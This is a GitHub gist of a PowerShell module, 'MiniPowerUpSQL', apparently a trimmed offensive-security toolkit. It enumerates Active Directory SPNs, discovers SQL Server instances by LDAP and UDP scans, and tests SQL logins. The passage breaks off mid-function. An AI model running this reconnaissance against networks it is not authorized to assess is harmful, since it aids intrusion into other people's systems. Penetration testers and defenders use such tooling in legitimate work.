Created
October 26, 2020 21:14
-
-
Save nullbind/75a8fa02ba8d0a6f028cfb21c300e1e2 to your computer and use it in GitHub Desktop.
MiniPowerUpSQL.psm1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Get-DomainObject | |
| { | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Domain user to authenticate with domain\user.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Domain password to authenticate with domain\user.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Credentials to use when connecting to a Domain Controller.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] | |
| [string]$DomainController, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'LDAP Filter.')] | |
| [string]$LdapFilter = '', | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'LDAP path.')] | |
| [string]$LdapPath, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Maximum number of Objects to pull from AD, limit is 1,000 .')] | |
| [int]$Limit = 1000, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'scope of a search as either a base, one-level, or subtree search, default is subtree.')] | |
| [ValidateSet('Subtree','OneLevel','Base')] | |
| [string]$SearchScope = 'Subtree' | |
| ) | |
| Begin | |
| { | |
| # Create PS Credential object | |
| if($Username -and $Password) | |
| { | |
| $secpass = ConvertTo-SecureString $Password -AsPlainText -Force | |
| $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($Username, $secpass) | |
| } | |
| # Create Create the connection to LDAP | |
| if ($DomainController) | |
| { | |
| # Verify credentials were provided | |
| if(-not $Username){ | |
| Write-Output "A username and password must be provided when setting a specific domain controller." | |
| Break | |
| } | |
| # Test credentials and grab domain | |
| try { | |
| $objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname | |
| }catch{ | |
| Write-Output "Authentication failed." | |
| } | |
| # add ldap path | |
| if($LdapPath) | |
| { | |
| $LdapPath = '/'+$LdapPath+','+$objDomain | |
| $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password | |
| } | |
| else | |
| { | |
| $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password | |
| } | |
| $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath | |
| } | |
| else | |
| { | |
| $objDomain = ([ADSI]'').distinguishedName | |
| # add ldap path | |
| if($LdapPath) | |
| { | |
| $LdapPath = $LdapPath+','+$objDomain | |
| $objDomainPath = [ADSI]"LDAP://$LdapPath" | |
| } | |
| else | |
| { | |
| $objDomainPath = [ADSI]'' | |
| } | |
| $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath | |
| } | |
| # Setup LDAP filter | |
| $objSearcher.PageSize = $Limit | |
| $objSearcher.Filter = $LdapFilter | |
| $objSearcher.SearchScope = 'Subtree' | |
| } | |
| Process | |
| { | |
| try | |
| { | |
| # Return object | |
| $objSearcher.FindAll() | ForEach-Object -Process { | |
| $_ | |
| } | |
| } | |
| catch | |
| { | |
| "Error was $_" | |
| $line = $_.InvocationInfo.ScriptLineNumber | |
| "Error was in Line $line" | |
| } | |
| } | |
| End | |
| { | |
| } | |
| } | |
| function Get-DomainSpn | |
| { | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Domain user to authenticate with domain\user.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Domain password to authenticate with domain\user.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Credentials to use when connecting to a Domain Controller.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] | |
| [string]$DomainController, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Computer name to filter for.')] | |
| [string]$ComputerName, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipeline = $true, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Domain account to filter for.')] | |
| [string]$DomainAccount, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SPN service code.')] | |
| [string]$SpnService, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] | |
| [switch]$SuppressVerbose | |
| ) | |
| Begin | |
| { | |
| if(-not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message 'Getting domain SPNs...' | |
| } | |
| # Setup table to store results | |
| $TableDomainSpn = New-Object -TypeName System.Data.DataTable | |
| $null = $TableDomainSpn.Columns.Add('UserSid') | |
| $null = $TableDomainSpn.Columns.Add('User') | |
| $null = $TableDomainSpn.Columns.Add('UserCn') | |
| $null = $TableDomainSpn.Columns.Add('Service') | |
| $null = $TableDomainSpn.Columns.Add('ComputerName') | |
| $null = $TableDomainSpn.Columns.Add('Spn') | |
| $null = $TableDomainSpn.Columns.Add('LastLogon') | |
| $null = $TableDomainSpn.Columns.Add('Description') | |
| $TableDomainSpn.Clear() | |
| } | |
| Process | |
| { | |
| try | |
| { | |
| # Setup LDAP filter | |
| $SpnFilter = '' | |
| if($DomainAccount) | |
| { | |
| $SpnFilter = "(objectcategory=person)(SamAccountName=$DomainAccount)" | |
| } | |
| if($ComputerName) | |
| { | |
| $ComputerSearch = "$ComputerName`$" | |
| $SpnFilter = "(objectcategory=computer)(SamAccountName=$ComputerSearch)" | |
| } | |
| # Get results | |
| $SpnResults = Get-DomainObject -LdapFilter "(&(servicePrincipalName=$SpnService*)$SpnFilter)" -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential | |
| # Parse results | |
| $SpnResults | ForEach-Object -Process { | |
| [string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ') | |
| [string]$SidString = $SidBytes -replace ' ', '' | |
| #$Spn = $_.properties.serviceprincipalname[0].split(',') | |
| #foreach ($item in $Spn) | |
| foreach ($item in $($_.properties.serviceprincipalname)) | |
| { | |
| # Parse SPNs | |
| $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0] | |
| $SpnService = $item.split('/')[0] | |
| # Parse last logon | |
| if ($_.properties.lastlogon) | |
| { | |
| $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g') | |
| } | |
| else | |
| { | |
| $LastLogon = '' | |
| } | |
| # Add results to table | |
| $null = $TableDomainSpn.Rows.Add( | |
| [string]$SidString, | |
| [string]$_.properties.samaccountname, | |
| [string]$_.properties.cn, | |
| [string]$SpnService, | |
| [string]$SpnServer, | |
| [string]$item, | |
| $LastLogon, | |
| [string]$_.properties.description | |
| ) | |
| } | |
| } | |
| } | |
| catch | |
| { | |
| "Error was $_" | |
| $line = $_.InvocationInfo.ScriptLineNumber | |
| "Error was in Line $line" | |
| } | |
| } | |
| End | |
| { | |
| # Check for results | |
| if ($TableDomainSpn.Rows.Count -gt 0) | |
| { | |
| $TableDomainSpnCount = $TableDomainSpn.Rows.Count | |
| if(-not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$TableDomainSpnCount SPNs found on servers that matched search criteria." | |
| } | |
| Return $TableDomainSpn | |
| } | |
| else | |
| { | |
| Write-Verbose -Message '0 SPNs found.' | |
| } | |
| } | |
| } | |
| function Get-SQLInstanceScanUDP | |
| { | |
| <# | |
| .SYNOPSIS | |
| Returns a list of SQL Servers resulting from a UDP discovery scan of provided computers. | |
| .PARAMETER ComputerName | |
| Computer name or IP address to enumerate SQL Instance from. | |
| .PARAMETER UDPTimeOut | |
| Timeout in seconds. Longer timeout = more accurate. | |
| .EXAMPLE | |
| PS C:\> Get-SQLInstanceScanUDP -Verbose -ComputerName SQLServer1.domain.com | |
| VERBOSE: - SQLServer1.domain.com - UDP Scan Start. | |
| VERBOSE: - SQLServer1.domain.com - UDP Scan Complete. | |
| ComputerName : SQLServer1.domain.com | |
| Instance : SQLServer1.domain.com\Express | |
| InstanceName : Express | |
| ServerIP : 10.10.10.30 | |
| TCPPort : 51663 | |
| BaseVersion : 11.0.2100.60 | |
| IsClustered : No | |
| ComputerName : SQLServer1.domain.com | |
| Instance : SQLServer1.domain.com\Standard | |
| InstanceName : Standard | |
| ServerIP : 10.10.10.30 | |
| TCPPort : 51861 | |
| BaseVersion : 11.0.2100.60 | |
| IsClustered : No | |
| .EXAMPLE | |
| PS C:\> Get-SQLInstanceDomain | Get-SQLInstanceScanUDP -Verbose | |
| VERBOSE: - SQLServer1.domain.com - UDP Scan Start. | |
| VERBOSE: - SQLServer1.domain.com - UDP Scan Complete. | |
| ComputerName : SQLServer1.domain.com | |
| Instance : SQLServer1.domain.com\Express | |
| InstanceName : Express | |
| ServerIP : 10.10.10.30 | |
| TCPPort : 51663 | |
| BaseVersion : 11.0.2100.60 | |
| IsClustered : No | |
| ComputerName : SQLServer1.domain.com | |
| Instance : SQLServer1.domain.com\Standard | |
| InstanceName : Standard | |
| ServerIP : 10.10.10.30 | |
| TCPPort : 51861 | |
| BaseVersion : 11.0.2100.60 | |
| IsClustered : No | |
| [TRUNCATED] | |
| #> | |
| [CmdletBinding()] | |
| param( | |
| [Parameter(Mandatory = $true, | |
| ValueFromPipeline = $true, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Computer name or IP address to enumerate SQL Instance from.')] | |
| [string]$ComputerName, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Timeout in seconds. Longer timeout = more accurate.')] | |
| [int]$UDPTimeOut = 2, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] | |
| [switch]$SuppressVerbose | |
| ) | |
| Begin | |
| { | |
| # Setup data table for results | |
| $TableResults = New-Object -TypeName system.Data.DataTable -ArgumentList 'Table' | |
| $null = $TableResults.columns.add('ComputerName') | |
| $null = $TableResults.columns.add('Instance') | |
| $null = $TableResults.columns.add('InstanceName') | |
| $null = $TableResults.columns.add('ServerIP') | |
| $null = $TableResults.columns.add('TCPPort') | |
| $null = $TableResults.columns.add('BaseVersion') | |
| $null = $TableResults.columns.add('IsClustered') | |
| } | |
| Process | |
| { | |
| if(-not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message " - $ComputerName - UDP Scan Start." | |
| } | |
| # Verify server name isn't empty | |
| if ($ComputerName -ne '') | |
| { | |
| # Try to enumerate SQL Server instances from remote system | |
| try | |
| { | |
| # Resolve IP | |
| $IPAddress = [System.Net.Dns]::GetHostAddresses($ComputerName) | |
| # Create UDP client object | |
| $UDPClient = New-Object -TypeName System.Net.Sockets.Udpclient | |
| # Attempt to connect to system | |
| $UDPTimeOutMilsec = $UDPTimeOut * 1000 | |
| $UDPClient.client.ReceiveTimeout = $UDPTimeOutMilsec | |
| $UDPClient.Connect($ComputerName,0x59a) | |
| $UDPPacket = 0x03 | |
| # Send request to system | |
| $UDPEndpoint = New-Object -TypeName System.Net.Ipendpoint -ArgumentList ([System.Net.Ipaddress]::Any, 0) | |
| $UDPClient.Client.Blocking = $true | |
| [void]$UDPClient.Send($UDPPacket,$UDPPacket.Length) | |
| # Process response from system | |
| $BytesRecived = $UDPClient.Receive([ref]$UDPEndpoint) | |
| $Response = [System.Text.Encoding]::ASCII.GetString($BytesRecived).split(';') | |
| $values = @{} | |
| for($i = 0; $i -le $Response.length; $i++) | |
| { | |
| if(![string]::IsNullOrEmpty($Response[$i])) | |
| { | |
| $values.Add(($Response[$i].ToLower() -replace '[\W]', ''),$Response[$i+1]) | |
| } | |
| else | |
| { | |
| if(![string]::IsNullOrEmpty($values.'tcp')) | |
| { | |
| if(-not $SuppressVerbose) | |
| { | |
| $DiscoveredInstance = "$ComputerName\"+$values.'instancename' | |
| Write-Verbose -Message "$ComputerName - Found: $DiscoveredInstance" | |
| } | |
| # Add SQL Server instance info to results table | |
| $null = $TableResults.rows.Add( | |
| [string]$ComputerName, | |
| [string]"$ComputerName\"+$values.'instancename', | |
| [string]$values.'instancename', | |
| [string]$IPAddress, | |
| [string]$values.'tcp', | |
| [string]$values.'version', | |
| [string]$values.'isclustered') | |
| $values = @{} | |
| } | |
| } | |
| } | |
| # Close connection | |
| $UDPClient.Close() | |
| } | |
| catch | |
| { | |
| #"Error was $_" | |
| #$line = $_.InvocationInfo.ScriptLineNumber | |
| #"Error was in Line $line" | |
| # Close connection | |
| # $UDPClient.Close() | |
| } | |
| } | |
| if(-not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message " - $ComputerName - UDP Scan Complete." | |
| } | |
| } | |
| End | |
| { | |
| # Return Results | |
| $TableResults | |
| } | |
| } | |
| Function Get-SQLInstanceDomain | |
| { | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Domain user to authenticate with domain\user.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Domain password to authenticate with domain\user.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Credentials to use when connecting to a Domain Controller.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] | |
| [string]$DomainController, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipeline = $true, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Computer name to filter for.')] | |
| [string]$ComputerName, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipeline = $true, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Domain account to filter for.')] | |
| [string]$DomainAccount, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Performs UDP scan of servers managing SQL Server clusters.')] | |
| [switch]$CheckMgmt, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Preforms a DNS lookup on the instance.')] | |
| [switch]$IncludeIP, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.')] | |
| [int]$UDPTimeOut = 3 | |
| ) | |
| Begin | |
| { | |
| # Table for SPN output | |
| $TblSQLServerSpns = New-Object -TypeName System.Data.DataTable | |
| $null = $TblSQLServerSpns.Columns.Add('ComputerName') | |
| $null = $TblSQLServerSpns.Columns.Add('Instance') | |
| $null = $TblSQLServerSpns.Columns.Add('DomainAccountSid') | |
| $null = $TblSQLServerSpns.Columns.Add('DomainAccount') | |
| $null = $TblSQLServerSpns.Columns.Add('DomainAccountCn') | |
| $null = $TblSQLServerSpns.Columns.Add('Service') | |
| $null = $TblSQLServerSpns.Columns.Add('Spn') | |
| $null = $TblSQLServerSpns.Columns.Add('LastLogon') | |
| $null = $TblSQLServerSpns.Columns.Add('Description') | |
| if($IncludeIP) | |
| { | |
| $null = $TblSQLServerSpns.Columns.Add('IPAddress') | |
| } | |
| # Table for UDP scan results of management servers | |
| } | |
| Process | |
| { | |
| # Get list of SPNs for SQL Servers | |
| Write-Verbose -Message 'Grabbing SPNs from the domain for SQL Servers (MSSQL*)...' | |
| $TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose | Where-Object -FilterScript { | |
| $_.service -like 'MSSQL*' | |
| } | |
| Write-Verbose -Message 'Parsing SQL Server instances from SPNs...' | |
| # Add column containing sql server instance | |
| $TblSQLServers | | |
| ForEach-Object -Process { | |
| # Parse SQL Server instance | |
| $Spn = $_.Spn | |
| $Instance = $Spn.split('/')[1].split(':')[1] | |
| # Check if the instance is a number and use the relevent delim | |
| $Value = 0 | |
| if([int32]::TryParse($Instance,[ref]$Value)) | |
| { | |
| $SpnServerInstance = $Spn -replace ':', ',' | |
| } | |
| else | |
| { | |
| $SpnServerInstance = $Spn -replace ':', '\' | |
| } | |
| $SpnServerInstance = $SpnServerInstance -replace 'MSSQLSvc/', '' | |
| $TableRow = @([string]$_.ComputerName, | |
| [string]$SpnServerInstance, | |
| $_.UserSid, | |
| [string]$_.User, | |
| [string]$_.Usercn, | |
| [string]$_.Service, | |
| [string]$_.Spn, | |
| $_.LastLogon, | |
| [string]$_.Description) | |
| if($IncludeIP) | |
| { | |
| try | |
| { | |
| $IPAddress = [Net.DNS]::GetHostAddresses([String]$_.ComputerName).IPAddressToString | |
| if($IPAddress -is [Object[]]) | |
| { | |
| $IPAddress = $IPAddress -join ", " | |
| } | |
| } | |
| catch | |
| { | |
| $IPAddress = "0.0.0.0" | |
| } | |
| $TableRow += $IPAddress | |
| } | |
| # Add SQL Server spn to table | |
| $null = $TblSQLServerSpns.Rows.Add($TableRow) | |
| } | |
| # Enumerate SQL Server instances from management servers | |
| if($CheckMgmt) | |
| { | |
| Write-Verbose -Message 'Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...' | |
| $TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose | | |
| Where-Object -FilterScript { | |
| $_.ComputerName -like '*.*' | |
| } | | |
| Select-Object -Property ComputerName -Unique | | |
| Sort-Object -Property ComputerName | |
| Write-Verbose -Message 'Performing a UDP scan of management servers to obtain managed SQL Server instances...' | |
| $TblMgmtSQLServers = $TblMgmtServers | | |
| Select-Object -Property ComputerName -Unique | | |
| Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut | |
| } | |
| } | |
| End | |
| { | |
| # Return data | |
| if($CheckMgmt) | |
| { | |
| Write-Verbose -Message 'Parsing SQL Server instances from the UDP scan...' | |
| $Tbl1 = $TblMgmtSQLServers | | |
| Select-Object -Property ComputerName, Instance | | |
| Sort-Object -Property ComputerName, Instance | |
| $Tbl2 = $TblSQLServerSpns | | |
| Select-Object -Property ComputerName, Instance | | |
| Sort-Object -Property ComputerName, Instance | |
| $Tbl3 = $Tbl1 + $Tbl2 | |
| $InstanceCount = $Tbl3.rows.count | |
| Write-Verbose -Message "$InstanceCount instances were found." | |
| $Tbl3 | |
| } | |
| else | |
| { | |
| $InstanceCount = $TblSQLServerSpns.rows.count | |
| Write-Verbose -Message "$InstanceCount instances were found." | |
| $TblSQLServerSpns | |
| } | |
| } | |
| } | |
| Function Get-SQLConnectionObject | |
| { | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'SQL Server or domain account to authenticate with.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'SQL Server or domain account password to authenticate with.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Windows credentials.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server instance to connection to.')] | |
| [string]$Instance, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Dedicated Administrator Connection (DAC).')] | |
| [Switch]$DAC, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Default database to connect to.')] | |
| [String]$Database, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Change appname.')] | |
| [string]$AppName = "", | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Change workstation name.')] | |
| [string]$WorkstationId = "", | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Use an encrypted connection.')] | |
| [ValidateSet("Yes","No","")] | |
| [string]$Encrypt = "", | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Trust the certificate of the remote server.')] | |
| [ValidateSet("Yes","No","")] | |
| [string]$TrustServerCert = "", | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Connection timeout.')] | |
| [string]$TimeOut = 1 | |
| ) | |
| Begin | |
| { | |
| if($DAC) | |
| { | |
| $DacConn = 'ADMIN:' | |
| } | |
| else | |
| { | |
| $DacConn = '' | |
| } | |
| if(-not $Database) | |
| { | |
| $Database = 'Master' | |
| } | |
| if($AppName){ | |
| $AppNameString = ";Application Name=`"$AppName`"" | |
| }else{ | |
| $AppNameString = "" | |
| } | |
| if($WorkstationId){ | |
| $WorkstationString = ";Workstation Id=`"$WorkstationId`"" | |
| }else{ | |
| $WorkstationString = "" | |
| } | |
| if($Encrypt){ | |
| $EncryptString = ";Encrypt=Yes" | |
| }else{ | |
| $EncryptString = "" | |
| } | |
| if($TrustServerCert){ | |
| $TrustCertString = ";TrustServerCertificate=Yes" | |
| }else{ | |
| $TrustCertString = "" | |
| } | |
| } | |
| Process | |
| { | |
| # Check for instance | |
| if ( -not $Instance) | |
| { | |
| $Instance = $env:COMPUTERNAME | |
| } | |
| $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection | |
| if(-not $Username){ | |
| # Set authentication type | |
| $AuthenticationType = "Current Windows Credentials" | |
| # Set connection string | |
| $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1$AppNameString$EncryptString$TrustCertString$WorkstationString" | |
| } | |
| if ($username -like "*\*"){ | |
| $AuthenticationType = "Provided Windows Credentials" | |
| # Setup connection string | |
| $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString" | |
| } | |
| if (($username) -and ($username -notlike "*\*")){ | |
| # Set authentication type | |
| $AuthenticationType = "Provided SQL Login" | |
| # Setup connection string | |
| $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString" | |
| } | |
| return $Connection | |
| } | |
| End | |
| { | |
| } | |
| } | |
| Function Get-SQLQuery | |
| { | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server or domain account to authenticate with.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server or domain account password to authenticate with.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Windows credentials.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server instance to connection to.')] | |
| [string]$Instance, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server query.')] | |
| [string]$Query, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Connect using Dedicated Admin Connection.')] | |
| [Switch]$DAC, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Default database to connect to.')] | |
| [String]$Database, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Connection timeout.')] | |
| [int]$TimeOut, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] | |
| [switch]$SuppressVerbose, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Change application name in connection string.')] | |
| [string]$AppName = "", | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Change hostname in connection string.')] | |
| [string]$WorkstationId = "", | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Use an encrypted connection.')] | |
| [ValidateSet("Yes","No","")] | |
| [string]$Encrypt = "", | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Trust the certificate of the remote server.')] | |
| [ValidateSet("Yes","No","")] | |
| [string]$TrustServerCert = "", | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Return error message if exists.')] | |
| [switch]$ReturnError | |
| ) | |
| Begin | |
| { | |
| # Setup up data tables for output | |
| $TblQueryResults = New-Object -TypeName System.Data.DataTable | |
| } | |
| Process | |
| { | |
| # Setup DAC string | |
| if($DAC) | |
| { | |
| # Create connection object | |
| $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert | |
| } | |
| else | |
| { | |
| # Create connection object | |
| $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert | |
| } | |
| # Parse SQL Server instance name | |
| $ConnectionString = $Connection.Connectionstring | |
| $Instance = $ConnectionString.split(';')[0].split('=')[1] | |
| # Check for query | |
| if($Query) | |
| { | |
| # Attempt connection | |
| try | |
| { | |
| # Open connection | |
| $Connection.Open() | |
| if(-not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Success." | |
| } | |
| # Setup SQL query | |
| $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) | |
| # Grab results | |
| $Results = $Command.ExecuteReader() | |
| # Load results into data table | |
| $TblQueryResults.Load($Results) | |
| # Close connection | |
| $Connection.Close() | |
| # Dispose connection | |
| $Connection.Dispose() | |
| } | |
| catch | |
| { | |
| # Connection failed - for detail error use Get-SQLConnectionTest | |
| if(-not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Failed." | |
| } | |
| if($ReturnError) | |
| { | |
| $ErrorMessage = $_.Exception.Message | |
| #Write-Verbose " Error: $ErrorMessage" | |
| } | |
| } | |
| } | |
| else | |
| { | |
| Write-Output -InputObject 'No query provided to Get-SQLQuery function.' | |
| Break | |
| } | |
| } | |
| End | |
| { | |
| # Return Results | |
| if($ReturnError) | |
| { | |
| $ErrorMessage | |
| } | |
| else | |
| { | |
| $TblQueryResults | |
| } | |
| } | |
| } | |
| Function Get-ComputerNameFromInstance | |
| { | |
| <# | |
| .SYNOPSIS | |
| Parses computer name from a provided instance. | |
| .PARAMETER Instance | |
| SQL Server instance to parse. | |
| .EXAMPLE | |
| PS C:\> Get-ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 | |
| SQLServer1 | |
| #> | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipeline = $true, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server instance.')] | |
| [string]$Instance | |
| ) | |
| # Parse ComputerName from provided instance | |
| If ($Instance) | |
| { | |
| $ComputerName = $Instance.split('\')[0].split(',')[0] | |
| } | |
| else | |
| { | |
| $ComputerName = $env:COMPUTERNAME | |
| } | |
| Return $ComputerName | |
| } | |
| Function Get-SQLConnectionTest | |
| { | |
| <# | |
| .SYNOPSIS | |
| Tests if the current Windows account or provided SQL Server login can log into an SQL Server. | |
| .PARAMETER Username | |
| SQL Server or domain account to authenticate with. | |
| .PARAMETER Password | |
| SQL Server or domain account password to authenticate with. | |
| .PARAMETER Credential | |
| SQL Server credential. | |
| .PARAMETER Instance | |
| SQL Server instance to connection to. | |
| .PARAMETER DAC | |
| Connect using Dedicated Admin Connection. | |
| .PARAMETER Database | |
| Default database to connect to. | |
| .PARAMETER TimeOut | |
| Connection time out. | |
| .PARAMETER SuppressVerbose | |
| Suppress verbose errors. Used when function is wrapped. | |
| .EXAMPLE | |
| PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" | |
| .EXAMPLE | |
| PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" | |
| .EXAMPLE | |
| PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTest -Verbose | |
| #> | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'SQL Server or domain account to authenticate with.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'SQL Server or domain account password to authenticate with.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Windows credentials.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipeline = $true, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server instance to connection to.')] | |
